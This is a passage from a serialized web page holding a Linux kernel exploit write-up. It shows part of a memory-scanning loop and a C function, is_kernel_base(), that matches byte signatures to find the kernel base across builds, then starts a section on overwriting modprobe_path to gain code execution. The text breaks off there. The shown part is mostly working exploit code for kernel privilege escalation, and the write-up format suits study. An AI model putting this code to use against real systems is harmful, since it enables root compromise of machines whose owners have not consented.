}\n",{"type":24,"tag":327,"props":65609,"children":65610},{"class":329,"line":1176},[65611],{"type":24,"tag":327,"props":65612,"children":65613},{"style":346},[65614],{"type":29,"value":17865},{"type":24,"tag":327,"props":65616,"children":65617},{"class":329,"line":1184},[65618],{"type":24,"tag":327,"props":65619,"children":65620},{"emptyLinePlaceholder":16},[65621],{"type":29,"value":544},{"type":24,"tag":327,"props":65623,"children":65624},{"class":329,"line":1192},[65625,65630,65635,65639,65643],{"type":24,"tag":327,"props":65626,"children":65627},{"style":346},[65628],{"type":29,"value":65629},"            if (",{"type":24,"tag":327,"props":65631,"children":65632},{"style":1639},[65633],{"type":29,"value":65634},"is_kernel_base",{"type":24,"tag":327,"props":65636,"children":65637},{"style":346},[65638],{"type":29,"value":349},{"type":24,"tag":327,"props":65640,"children":65641},{"style":1639},[65642],{"type":29,"value":11298},{"type":24,"tag":327,"props":65644,"children":65645},{"style":346},[65646],{"type":29,"value":65647},")) // [1] identify kernel base\n",{"type":24,"tag":327,"props":65649,"children":65650},{"class":329,"line":1212},[65651],{"type":24,"tag":327,"props":65652,"children":65653},{"style":346},[65654],{"type":29,"value":38405},{"type":24,"tag":327,"props":65656,"children":65657},{"class":329,"line":4841},[65658,65663,65667,65671],{"type":24,"tag":327,"props":65659,"children":65660},{"style":346},[65661],{"type":29,"value":65662},"                found ",{"type":24,"tag":327,"props":65664,"children":65665},{"style":381},[65666],{"type":29,"value":384},{"type":24,"tag":327,"props":65668,"children":65669},{"style":334},[65670],{"type":29,"value":9722},{"type":24,"tag":327,"props":65672,"children":65673},{"style":346},[65674],{"type":29,"value":405},{"type":24,"tag":327,"props":65676,"children":65677},{"class":329,"line":4862},[65678,65683],{"type":24,"tag":327,"props":65679,"children":65680},{"style":425},[65681],{"type":29,"value":65682},"                break",{"type":24,"tag":327,"props":65684,"children":65685},{"style":346},[65686],{"type":29,"value":405},{"type":24,"tag":327,"props":65688,"children":65689},{"class":329,"line":4870},[65690],{"type":24,"tag":327,"props":65691,"children":65692},{"style":346},[65693],{"type":29,"value":65607},{"type":24,"tag":327,"props":65695,"children":65696},{"class":329,"line":4879},[65697],{"type":24,"tag":327,"props":65698,"children":65699},{"style":346},[65700],{"type":29,"value":8989},{"type":24,"tag":327,"props":65702,"children":65703},{"class":329,"line":4913},[65704],{"type":24,"tag":327,"props":65705,"children":65706},{"emptyLinePlaceholder":16},[65707],{"type":29,"value":544},{"type":24,"tag":327,"props":65709,"children":65710},{"class":329,"line":4938},[65711],{"type":24,"tag":327,"props":65712,"children":65713},{"style":346},[65714],{"type":29,"value":17865},{"type":24,"tag":25,"props":65716,"children":65717},{},[65718,65720,65724,65726,65732,65734,65738],{"type":29,"value":65719},"Notice that at ",{"type":24,"tag":327,"props":65721,"children":65722},{},[65723],{"type":29,"value":3238},{"type":29,"value":65725}," we call the ",{"type":24,"tag":284,"props":65727,"children":65729},{"className":65728},[],[65730],{"type":29,"value":65731},"is_kernel_base()",{"type":29,"value":65733}," function. This is a function based on lau's exploit ",{"type":24,"tag":327,"props":65735,"children":65736},{},[65737],{"type":29,"value":25618},{"type":29,"value":65739}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":24,"tag":317,"props":65741,"children":65743},{"className":35818,"code":65742,"language":35820,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[65744],{"type":24,"tag":284,"props":65745,"children":65746},{"__ignoreMap":7},[65747,65754,65784,65791,65799,65806,65814,65885,65947,65962,65969,65977,66045,66107,66168,66229,66291,66353,66414,66475,66536,66597,66658,66673,66680,66695,66702],{"type":24,"tag":327,"props":65748,"children":65749},{"class":329,"line":330},[65750],{"type":24,"tag":327,"props":65751,"children":65752},{"style":346},[65753],{"type":29,"value":17865},{"type":24,"tag":327,"props":65755,"children":65756},{"class":329,"line":367},[65757,65762,65767,65772,65776,65780],{"type":24,"tag":327,"props":65758,"children":65759},{"style":346},[65760],{"type":29,"value":65761},"static bool is_kernel_base(",{"type":24,"tag":327,"props":65763,"children":65764},{"style":334},[65765],{"type":29,"value":65766},"unsigned",{"type":24,"tag":327,"props":65768,"children":65769},{"style":334},[65770],{"type":29,"value":65771}," char",{"type":24,"tag":327,"props":65773,"children":65774},{"style":334},[65775],{"type":29,"value":17364},{"type":24,"tag":327,"props":65777,"children":65778},{"style":356},[65779],{"type":29,"value":37396},{"type":24,"tag":327,"props":65781,"children":65782},{"style":346},[65783],{"type":29,"value":852},{"type":24,"tag":327,"props":65785,"children":65786},{"class":329,"line":408},[65787],{"type":24,"tag":327,"props":65788,"children":65789},{"style":346},[65790],{"type":29,"value":18427},{"type":24,"tag":327,"props":65792,"children":65793},{"class":329,"line":421},[65794],{"type":24,"tag":327,"props":65795,"children":65796},{"style":551},[65797],{"type":29,"value":65798},"    // thanks lau :)\n",{"type":24,"tag":327,"props":65800,"children":65801},{"class":329,"line":450},[65802],{"type":24,"tag":327,"props":65803,"children":65804},{"emptyLinePlaceholder":16},[65805],{"type":29,"value":544},{"type":24,"tag":327,"props":65807,"children":65808},{"class":329,"line":481},[65809],{"type":24,"tag":327,"props":65810,"children":65811},{"style":551},[65812],{"type":29,"value":65813},"    // get-sig kernel_runtime_1\n",{"type":24,"tag":327,"props":65815,"children":65816},{"class":329,"line":500},[65817,65821,65825,65830,65835,65839,65844,65848,65852,65857,65861,65865,65869,65873,65877,65881],{"type":24,"tag":327,"props":65818,"children":65819},{"style":425},[65820],{"type":29,"value":428},{"type":24,"tag":327,"props":65822,"children":65823},{"style":346},[65824],{"type":29,"value":5894},{"type":24,"tag":327,"props":65826,"children":65827},{"style":340},[65828],{"type":29,"value":65829},"memcmp",{"type":24,"tag":327,"props":65831,"children":65832},{"style":346},[65833],{"type":29,"value":65834},"(addr ",{"type":24,"tag":327,"props":65836,"children":65837},{"style":381},[65838],{"type":29,"value":394},{"type":24,"tag":327,"props":65840,"children":65841},{"style":397},[65842],{"type":29,"value":65843}," 0x0",{"type":24,"tag":327,"props":65845,"children":65846},{"style":346},[65847],{"type":29,"value":2744},{"type":24,"tag":327,"props":65849,"children":65850},{"style":844},[65851],{"type":29,"value":1406},{"type":24,"tag":327,"props":65853,"children":65854},{"style":55093},[65855],{"type":29,"value":65856},"\\x48\\x8d\\x25\\x51\\x3f",{"type":24,"tag":327,"props":65858,"children":65859},{"style":844},[65860],{"type":29,"value":1406},{"type":24,"tag":327,"props":65862,"children":65863},{"style":346},[65864],{"type":29,"value":2744},{"type":24,"tag":327,"props":65866,"children":65867},{"style":397},[65868],{"type":29,"value":25618},{"type":24,"tag":327,"props":65870,"children":65871},{"style":346},[65872],{"type":29,"value":1674},{"type":24,"tag":327,"props":65874,"children":65875},{"style":381},[65876],{"type":29,"value":642},{"type":24,"tag":327,"props":65878,"children":65879},{"style":397},[65880],{"type":29,"value":6695},{"type":24,"tag":327,"props":65882,"children":65883},{"style":381},[65884],{"type":29,"value":59405},{"type":24,"tag":327,"props":65886,"children":65887},{"class":329,"line":529},[65888,65893,65897,65901,65906,65910,65914,65919,65923,65927,65931,65935,65939,65943],{"type":24,"tag":327,"props":65889,"children":65890},{"style":340},[65891],{"type":29,"value":65892},"        memcmp",{"type":24,"tag":327,"props":65894,"children":65895},{"style":346},[65896],{"type":29,"value":65834},{"type":24,"tag":327,"props":65898,"children":65899},{"style":381},[65900],{"type":29,"value":394},{"type":24,"tag":327,"props":65902,"children":65903},{"style":397},[65904],{"type":29,"value":65905}," 0x7",{"type":24,"tag":327,"props":65907,"children":65908},{"style":346},[65909],{"type":29,"value":2744},{"type":24,"tag":327,"props":65911,"children":65912},{"style":844},[65913],{"type":29,"value":1406},{"type":24,"tag":327,"props":65915,"children":65916},{"style":55093},[65917],{"type":29,"value":65918},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":24,"tag":327,"props":65920,"children":65921},{"style":844},[65922],{"type":29,"value":1406},{"type":24,"tag":327,"props":65924,"children":65925},{"style":346},[65926],{"type":29,"value":2744},{"type":24,"tag":327,"props":65928,"children":65929},{"style":397},[65930],{"type":29,"value":61392},{"type":24,"tag":327,"props":65932,"children":65933},{"style":346},[65934],{"type":29,"value":1674},{"type":24,"tag":327,"props":65936,"children":65937},{"style":381},[65938],{"type":29,"value":642},{"type":24,"tag":327,"props":65940,"children":65941},{"style":397},[65942],{"type":29,"value":6695},{"type":24,"tag":327,"props":65944,"children":65945},{"style":346},[65946],{"type":29,"value":852},{"type":24,"tag":327,"props":65948,"children":65949},{"class":329,"line":538},[65950,65954,65958],{"type":24,"tag":327,"props":65951,"children":65952},{"style":425},[65953],{"type":29,"value":4944},{"type":24,"tag":327,"props":65955,"children":65956},{"style":334},[65957],{"type":29,"value":9722},{"type":24,"tag":327,"props":65959,"children":65960},{"style":346},[65961],{"type":29,"value":405},{"type":24,"tag":327,"props":65963,"children":65964},{"class":329,"line":547},[65965],{"type":24,"tag":327,"props":65966,"children":65967},{"emptyLinePlaceholder":16},[65968],{"type":29,"value":544},{"type":24,"tag":327,"props":65970,"children":65971},{"class":329,"line":557},[65972],{"type":24,"tag":327,"props":65973,"children":65974},{"style":551},[65975],{"type":29,"value":65976},"    // get-sig kernel_runtime_2\n",{"type":24,"tag":327,"props":65978,"children":65979},{"class":329,"line":586},[65980,65984,65988,65992,65996,66000,66004,66008,66012,66017,66021,66025,66029,66033,66037,66041],{"type":24,"tag":327,"props":65981,"children":65982},{"style":425},[65983],{"type":29,"value":428},{"type":24,"tag":327,"props":65985,"children":65986},{"style":346},[65987],{"type":29,"value":5894},{"type":24,"tag":327,"props":65989,"children":65990},{"style":340},[65991],{"type":29,"value":65829},{"type":24,"tag":327,"props":65993,"children":65994},{"style":346},[65995],{"type":29,"value":65834},{"type":24,"tag":327,"props":65997,"children":65998},{"style":381},[65999],{"type":29,"value":394},{"type":24,"tag":327,"props":66001,"children":66002},{"style":397},[66003],{"type":29,"value":65843},{"type":24,"tag":327,"props":66005,"children":66006},{"style":346},[66007],{"type":29,"value":2744},{"type":24,"tag":327,"props":66009,"children":66010},{"style":844},[66011],{"type":29,"value":1406},{"type":24,"tag":327,"props":66013,"children":66014},{"style":55093},[66015],{"type":29,"value":66016},"\\xfc\\x0f\\x01\\x15",{"type":24,"tag":327,"props":66018,"children":66019},{"style":844},[66020],{"type":29,"value":1406},{"type":24,"tag":327,"props":66022,"children":66023},{"style":346},[66024],{"type":29,"value":2744},{"type":24,"tag":327,"props":66026,"children":66027},{"style":397},[66028],{"type":29,"value":25038},{"type":24,"tag":327,"props":66030,"children":66031},{"style":346},[66032],{"type":29,"value":1674},{"type":24,"tag":327,"props":66034,"children":66035},{"style":381},[66036],{"type":29,"value":642},{"type":24,"tag":327,"props":66038,"children":66039},{"style":397},[66040],{"type":29,"value":6695},{"type":24,"tag":327,"props":66042,"children":66043},{"style":381},[66044],{"type":29,"value":59405},{"type":24,"tag":327,"props":66046,"children":66047},{"class":329,"line":1017},[66048,66052,66056,66060,66065,66069,66073,66078,66082,66086,66091,66095,66099,66103],{"type":24,"tag":327,"props":66049,"children":66050},{"style":340},[66051],{"type":29,"value":65892},{"type":24,"tag":327,"props":66053,"children":66054},{"style":346},[66055],{"type":29,"value":65834},{"type":24,"tag":327,"props":66057,"children":66058},{"style":381},[66059],{"type":29,"value":394},{"type":24,"tag":327,"props":66061,"children":66062},{"style":397},[66063],{"type":29,"value":66064}," 0x8",{"type":24,"tag":327,"props":66066,"children":66067},{"style":346},[66068],{"type":29,"value":2744},{"type":24,"tag":327,"props":66070,"children":66071},{"style":844},[66072],{"type":29,"value":1406},{"type":24,"tag":327,"props":66074,"children":66075},{"style":55093},[66076],{"type":29,"value":66077},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":24,"tag":327,"props":66079,"children":66080},{"style":844},[66081],{"type":29,"value":1406},{"type":24,"tag":327,"props":66083,"children":66084},{"style":346},[66085],{"type":29,"value":2744},{"type":24,"tag":327,"props":66087,"children":66088},{"style":397},[66089],{"type":29,"value":66090},"12",{"type":24,"tag":327,"props":66092,"children":66093},{"style":346},[66094],{"type":29,"value":1674},{"type":24,"tag":327,"props":66096,"children":66097},{"style":381},[66098],{"type":29,"value":642},{"type":24,"tag":327,"props":66100,"children":66101},{"style":397},[66102],{"type":29,"value":6695},{"type":24,"tag":327,"props":66104,"children":66105},{"style":381},[66106],{"type":29,"value":59405},{"type":24,"tag":327,"props":66108,"children":66109},{"class":329,"line":1026},[66110,66114,66118,66122,66127,66131,66135,66140,66144,66148,66152,66156,66160,66164],{"type":24,"tag":327,"props":66111,"children":66112},{"style":340},[66113],{"type":29,"value":65892},{"type":24,"tag":327,"props":66115,"children":66116},{"style":346},[66117],{"type":29,"value":65834},{"type":24,"tag":327,"props":66119,"children":66120},{"style":381},[66121],{"type":29,"value":394},{"type":24,"tag":327,"props":66123,"children":66124},{"style":397},[66125],{"type":29,"value":66126}," 0x18",{"type":24,"tag":327,"props":66128,"children":66129},{"style":346},[66130],{"type":29,"value":2744},{"type":24,"tag":327,"props":66132,"children":66133},{"style":844},[66134],{"type":29,"value":1406},{"type":24,"tag":327,"props":66136,"children":66137},{"style":55093},[66138],{"type":29,"value":66139},"\\x89\\xde\\x8b\\x0d",{"type":24,"tag":327,"props":66141,"children":66142},{"style":844},[66143],{"type":29,"value":1406},{"type":24,"tag":327,"props":66145,"children":66146},{"style":346},[66147],{"type":29,"value":2744},{"type":24,"tag":327,"props":66149,"children":66150},{"style":397},[66151],{"type":29,"value":25038},{"type":24,"tag":327,"props":66153,"children":66154},{"style":346},[66155],{"type":29,"value":1674},{"type":24,"tag":327,"props":66157,"children":66158},{"style":381},[66159],{"type":29,"value":642},{"type":24,"tag":327,"props":66161,"children":66162},{"style":397},[66163],{"type":29,"value":6695},{"type":24,"tag":327,"props":66165,"children":66166},{"style":381},[66167],{"type":29,"value":59405},{"type":24,"tag":327,"props":66169,"children":66170},{"class":329,"line":1048},[66171,66175,66179,66183,66188,66192,66196,66201,66205,66209,66213,66217,66221,66225],{"type":24,"tag":327,"props":66172,"children":66173},{"style":340},[66174],{"type":29,"value":65892},{"type":24,"tag":327,"props":66176,"children":66177},{"style":346},[66178],{"type":29,"value":65834},{"type":24,"tag":327,"props":66180,"children":66181},{"style":381},[66182],{"type":29,"value":394},{"type":24,"tag":327,"props":66184,"children":66185},{"style":397},[66186],{"type":29,"value":66187}," 0x20",{"type":24,"tag":327,"props":66189,"children":66190},{"style":346},[66191],{"type":29,"value":2744},{"type":24,"tag":327,"props":66193,"children":66194},{"style":844},[66195],{"type":29,"value":1406},{"type":24,"tag":327,"props":66197,"children":66198},{"style":55093},[66199],{"type":29,"value":66200},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":24,"tag":327,"props":66202,"children":66203},{"style":844},[66204],{"type":29,"value":1406},{"type":24,"tag":327,"props":66206,"children":66207},{"style":346},[66208],{"type":29,"value":2744},{"type":24,"tag":327,"props":66210,"children":66211},{"style":397},[66212],{"type":29,"value":25930},{"type":24,"tag":327,"props":66214,"children":66215},{"style":346},[66216],{"type":29,"value":1674},{"type":24,"tag":327,"props":66218,"children":66219},{"style":381},[66220],{"type":29,"value":642},{"type":24,"tag":327,"props":66222,"children":66223},{"style":397},[66224],{"type":29,"value":6695},{"type":24,"tag":327,"props":66226,"children":66227},{"style":381},[66228],{"type":29,"value":59405},{"type":24,"tag":327,"props":66230,"children":66231},{"class":329,"line":1067},[66232,66236,66240,66244,66249,66253,66257,66262,66266,66270,66275,66279,66283,66287],{"type":24,"tag":327,"props":66233,"children":66234},{"style":340},[66235],{"type":29,"value":65892},{"type":24,"tag":327,"props":66237,"children":66238},{"style":346},[66239],{"type":29,"value":65834},{"type":24,"tag":327,"props":66241,"children":66242},{"style":381},[66243],{"type":29,"value":394},{"type":24,"tag":327,"props":66245,"children":66246},{"style":397},[66247],{"type":29,"value":66248}," 0x2a",{"type":24,"tag":327,"props":66250,"children":66251},{"style":346},[66252],{"type":29,"value":2744},{"type":24,"tag":327,"props":66254,"children":66255},{"style":844},[66256],{"type":29,"value":1406},{"type":24,"tag":327,"props":66258,"children":66259},{"style":55093},[66260],{"type":29,"value":66261},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":24,"tag":327,"props":66263,"children":66264},{"style":844},[66265],{"type":29,"value":1406},{"type":24,"tag":327,"props":66267,"children":66268},{"style":346},[66269],{"type":29,"value":2744},{"type":24,"tag":327,"props":66271,"children":66272},{"style":397},[66273],{"type":29,"value":66274},"24",{"type":24,"tag":327,"props":66276,"children":66277},{"style":346},[66278],{"type":29,"value":1674},{"type":24,"tag":327,"props":66280,"children":66281},{"style":381},[66282],{"type":29,"value":642},{"type":24,"tag":327,"props":66284,"children":66285},{"style":397},[66286],{"type":29,"value":6695},{"type":24,"tag":327,"props":66288,"children":66289},{"style":381},[66290],{"type":29,"value":59405},{"type":24,"tag":327,"props":66292,"children":66293},{"class":329,"line":1075},[66294,66298,66302,66306,66311,66315,66319,66324,66328,66332,66337,66341,66345,66349],{"type":24,"tag":327,"props":66295,"children":66296},{"style":340},[66297],{"type":29,"value":65892},{"type":24,"tag":327,"props":66299,"children":66300},{"style":346},[66301],{"type":29,"value":65834},{"type":24,"tag":327,"props":66303,"children":66304},{"style":381},[66305],{"type":29,"value":394},{"type":24,"tag":327,"props":66307,"children":66308},{"style":397},[66309],{"type":29,"value":66310}," 0x45",{"type":24,"tag":327,"props":66312,"children":66313},{"style":346},[66314],{"type":29,"value":2744},{"type":24,"tag":327,"props":66316,"children":66317},{"style":844},[66318],{"type":29,"value":1406},{"type":24,"tag":327,"props":66320,"children":66321},{"style":55093},[66322],{"type":29,"value":66323},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":24,"tag":327,"props":66325,"children":66326},{"style":844},[66327],{"type":29,"value":1406},{"type":24,"tag":327,"props":66329,"children":66330},{"style":346},[66331],{"type":29,"value":2744},{"type":24,"tag":327,"props":66333,"children":66334},{"style":397},[66335],{"type":29,"value":66336},"15",{"type":24,"tag":327,"props":66338,"children":66339},{"style":346},[66340],{"type":29,"value":1674},{"type":24,"tag":327,"props":66342,"children":66343},{"style":381},[66344],{"type":29,"value":642},{"type":24,"tag":327,"props":66346,"children":66347},{"style":397},[66348],{"type":29,"value":6695},{"type":24,"tag":327,"props":66350,"children":66351},{"style":381},[66352],{"type":29,"value":59405},{"type":24,"tag":327,"props":66354,"children":66355},{"class":329,"line":1084},[66356,66360,66364,66368,66373,66377,66381,66386,66390,66394,66398,66402,66406,66410],{"type":24,"tag":327,"props":66357,"children":66358},{"style":340},[66359],{"type":29,"value":65892},{"type":24,"tag":327,"props":66361,"children":66362},{"style":346},[66363],{"type":29,"value":65834},{"type":24,"tag":327,"props":66365,"children":66366},{"style":381},[66367],{"type":29,"value":394},{"type":24,"tag":327,"props":66369,"children":66370},{"style":397},[66371],{"type":29,"value":66372}," 0x55",{"type":24,"tag":327,"props":66374,"children":66375},{"style":346},[66376],{"type":29,"value":2744},{"type":24,"tag":327,"props":66378,"children":66379},{"style":844},[66380],{"type":29,"value":1406},{"type":24,"tag":327,"props":66382,"children":66383},{"style":55093},[66384],{"type":29,"value":66385},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":24,"tag":327,"props":66387,"children":66388},{"style":844},[66389],{"type":29,"value":1406},{"type":24,"tag":327,"props":66391,"children":66392},{"style":346},[66393],{"type":29,"value":2744},{"type":24,"tag":327,"props":66395,"children":66396},{"style":397},[66397],{"type":29,"value":11653},{"type":24,"tag":327,"props":66399,"children":66400},{"style":346},[66401],{"type":29,"value":1674},{"type":24,"tag":327,"props":66403,"children":66404},{"style":381},[66405],{"type":29,"value":642},{"type":24,"tag":327,"props":66407,"children":66408},{"style":397},[66409],{"type":29,"value":6695},{"type":24,"tag":327,"props":66411,"children":66412},{"style":381},[66413],{"type":29,"value":59405},{"type":24,"tag":327,"props":66415,"children":66416},{"class":329,"line":1100},[66417,66421,66425,66429,66434,66438,66442,66447,66451,66455,66459,66463,66467,66471],{"type":24,"tag":327,"props":66418,"children":66419},{"style":340},[66420],{"type":29,"value":65892},{"type":24,"tag":327,"props":66422,"children":66423},{"style":346},[66424],{"type":29,"value":65834},{"type":24,"tag":327,"props":66426,"children":66427},{"style":381},[66428],{"type":29,"value":394},{"type":24,"tag":327,"props":66430,"children":66431},{"style":397},[66432],{"type":29,"value":66433}," 0x61",{"type":24,"tag":327,"props":66435,"children":66436},{"style":346},[66437],{"type":29,"value":2744},{"type":24,"tag":327,"props":66439,"children":66440},{"style":844},[66441],{"type":29,"value":1406},{"type":24,"tag":327,"props":66443,"children":66444},{"style":55093},[66445],{"type":29,"value":66446},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":24,"tag":327,"props":66448,"children":66449},{"style":844},[66450],{"type":29,"value":1406},{"type":24,"tag":327,"props":66452,"children":66453},{"style":346},[66454],{"type":29,"value":2744},{"type":24,"tag":327,"props":66456,"children":66457},{"style":397},[66458],{"type":29,"value":25618},{"type":24,"tag":327,"props":66460,"children":66461},{"style":346},[66462],{"type":29,"value":1674},{"type":24,"tag":327,"props":66464,"children":66465},{"style":381},[66466],{"type":29,"value":642},{"type":24,"tag":327,"props":66468,"children":66469},{"style":397},[66470],{"type":29,"value":6695},{"type":24,"tag":327,"props":66472,"children":66473},{"style":381},[66474],{"type":29,"value":59405},{"type":24,"tag":327,"props":66476,"children":66477},{"class":329,"line":1128},[66478,66482,66486,66490,66495,66499,66503,66508,66512,66516,66520,66524,66528,66532],{"type":24,"tag":327,"props":66479,"children":66480},{"style":340},[66481],{"type":29,"value":65892},{"type":24,"tag":327,"props":66483,"children":66484},{"style":346},[66485],{"type":29,"value":65834},{"type":24,"tag":327,"props":66487,"children":66488},{"style":381},[66489],{"type":29,"value":394},{"type":24,"tag":327,"props":66491,"children":66492},{"style":397},[66493],{"type":29,"value":66494}," 0x6a",{"type":24,"tag":327,"props":66496,"children":66497},{"style":346},[66498],{"type":29,"value":2744},{"type":24,"tag":327,"props":66500,"children":66501},{"style":844},[66502],{"type":29,"value":1406},{"type":24,"tag":327,"props":66504,"children":66505},{"style":55093},[66506],{"type":29,"value":66507},"\\x48\\xc7\\xc6",{"type":24,"tag":327,"props":66509,"children":66510},{"style":844},[66511],{"type":29,"value":1406},{"type":24,"tag":327,"props":66513,"children":66514},{"style":346},[66515],{"type":29,"value":2744},{"type":24,"tag":327,"props":66517,"children":66518},{"style":397},[66519],{"type":29,"value":24805},{"type":24,"tag":327,"props":66521,"children":66522},{"style":346},[66523],{"type":29,"value":1674},{"type":24,"tag":327,"props":66525,"children":66526},{"style":381},[66527],{"type":29,"value":642},{"type":24,"tag":327,"props":66529,"children":66530},{"style":397},[66531],{"type":29,"value":6695},{"type":24,"tag":327,"props":66533,"children":66534},{"style":381},[66535],{"type":29,"value":59405},{"type":24,"tag":327,"props":66537,"children":66538},{"class":329,"line":1148},[66539,66543,66547,66551,66556,66560,66564,66569,66573,66577,66581,66585,66589,66593],{"type":24,"tag":327,"props":66540,"children":66541},{"style":340},[66542],{"type":29,"value":65892},{"type":24,"tag":327,"props":66544,"children":66545},{"style":346},[66546],{"type":29,"value":65834},{"type":24,"tag":327,"props":66548,"children":66549},{"style":381},[66550],{"type":29,"value":394},{"type":24,"tag":327,"props":66552,"children":66553},{"style":397},[66554],{"type":29,"value":66555}," 0x71",{"type":24,"tag":327,"props":66557,"children":66558},{"style":346},[66559],{"type":29,"value":2744},{"type":24,"tag":327,"props":66561,"children":66562},{"style":844},[66563],{"type":29,"value":1406},{"type":24,"tag":327,"props":66565,"children":66566},{"style":55093},[66567],{"type":29,"value":66568},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":24,"tag":327,"props":66570,"children":66571},{"style":844},[66572],{"type":29,"value":1406},{"type":24,"tag":327,"props":66574,"children":66575},{"style":346},[66576],{"type":29,"value":2744},{"type":24,"tag":327,"props":66578,"children":66579},{"style":397},[66580],{"type":29,"value":25930},{"type":24,"tag":327,"props":66582,"children":66583},{"style":346},[66584],{"type":29,"value":1674},{"type":24,"tag":327,"props":66586,"children":66587},{"style":381},[66588],{"type":29,"value":642},{"type":24,"tag":327,"props":66590,"children":66591},{"style":397},[66592],{"type":29,"value":6695},{"type":24,"tag":327,"props":66594,"children":66595},{"style":381},[66596],{"type":29,"value":59405},{"type":24,"tag":327,"props":66598,"children":66599},{"class":329,"line":1176},[66600,66604,66608,66612,66617,66621,66625,66630,66634,66638,66642,66646,66650,66654],{"type":24,"tag":327,"props":66601,"children":66602},{"style":340},[66603],{"type":29,"value":65892},{"type":24,"tag":327,"props":66605,"children":66606},{"style":346},[66607],{"type":29,"value":65834},{"type":24,"tag":327,"props":66609,"children":66610},{"style":381},[66611],{"type":29,"value":394},{"type":24,"tag":327,"props":66613,"children":66614},{"style":397},[66615],{"type":29,"value":66616}," 0x78",{"type":24,"tag":327,"props":66618,"children":66619},{"style":346},[66620],{"type":29,"value":2744},{"type":24,"tag":327,"props":66622,"children":66623},{"style":844},[66624],{"type":29,"value":1406},{"type":24,"tag":327,"props":66626,"children":66627},{"style":55093},[66628],{"type":29,"value":66629},"\\xff\\xe0",{"type":24,"tag":327,"props":66631,"children":66632},{"style":844},[66633],{"type":29,"value":1406},{"type":24,"tag":327,"props":66635,"children":66636},{"style":346},[66637],{"type":29,"value":2744},{"type":24,"tag":327,"props":66639,"children":66640},{"style":397},[66641],{"type":29,"value":10731},{"type":24,"tag":327,"props":66643,"children":66644},{"style":346},[66645],{"type":29,"value":1674},{"type":24,"tag":327,"props":66647,"children":66648},{"style":381},[66649],{"type":29,"value":642},{"type":24,"tag":327,"props":66651,"children":66652},{"style":397},[66653],{"type":29,"value":6695},{"type":24,"tag":327,"props":66655,"children":66656},{"style":346},[66657],{"type":29,"value":852},{"type":24,"tag":327,"props":66659,"children":66660},{"class":329,"line":1184},[66661,66665,66669],{"type":24,"tag":327,"props":66662,"children":66663},{"style":425},[66664],{"type":29,"value":4944},{"type":24,"tag":327,"props":66666,"children":66667},{"style":334},[66668],{"type":29,"value":9722},{"type":24,"tag":327,"props":66670,"children":66671},{"style":346},[66672],{"type":29,"value":405},{"type":24,"tag":327,"props":66674,"children":66675},{"class":329,"line":1192},[66676],{"type":24,"tag":327,"props":66677,"children":66678},{"emptyLinePlaceholder":16},[66679],{"type":29,"value":544},{"type":24,"tag":327,"props":66681,"children":66682},{"class":329,"line":1212},[66683,66687,66691],{"type":24,"tag":327,"props":66684,"children":66685},{"style":425},[66686],{"type":29,"value":6023},{"type":24,"tag":327,"props":66688,"children":66689},{"style":334},[66690],{"type":29,"value":6776},{"type":24,"tag":327,"props":66692,"children":66693},{"style":346},[66694],{"type":29,"value":405},{"type":24,"tag":327,"props":66696,"children":66697},{"class":329,"line":4841},[66698],{"type":24,"tag":327,"props":66699,"children":66700},{"style":346},[66701],{"type":29,"value":592},{"type":24,"tag":327,"props":66703,"children":66704},{"class":329,"line":4862},[66705],{"type":24,"tag":327,"props":66706,"children":66707},{"style":346},[66708],{"type":29,"value":17865},{"type":24,"tag":235,"props":66710,"children":66712},{"id":66711},"overwriting-modprobe_path",[66713,66715],{"type":29,"value":66714},"Overwriting ",{"type":24,"tag":284,"props":66716,"children":66718},{"className":66717},[],[66719],{"type":29,"value":65100},{"type":24,"tag":25,"props":66721,"children":66722},{},[66723,66725,66731],{"type":29,"value":66724},"Finding the ",{"type":24,"tag":284,"props":66726,"children":66728},{"className":66727},[],[66729],{"type":29,"value":66730},"/sbin/modprobe",{"type":29,"value":66732}," string in kernel memory and replacing it with a controlled value that points to a file we 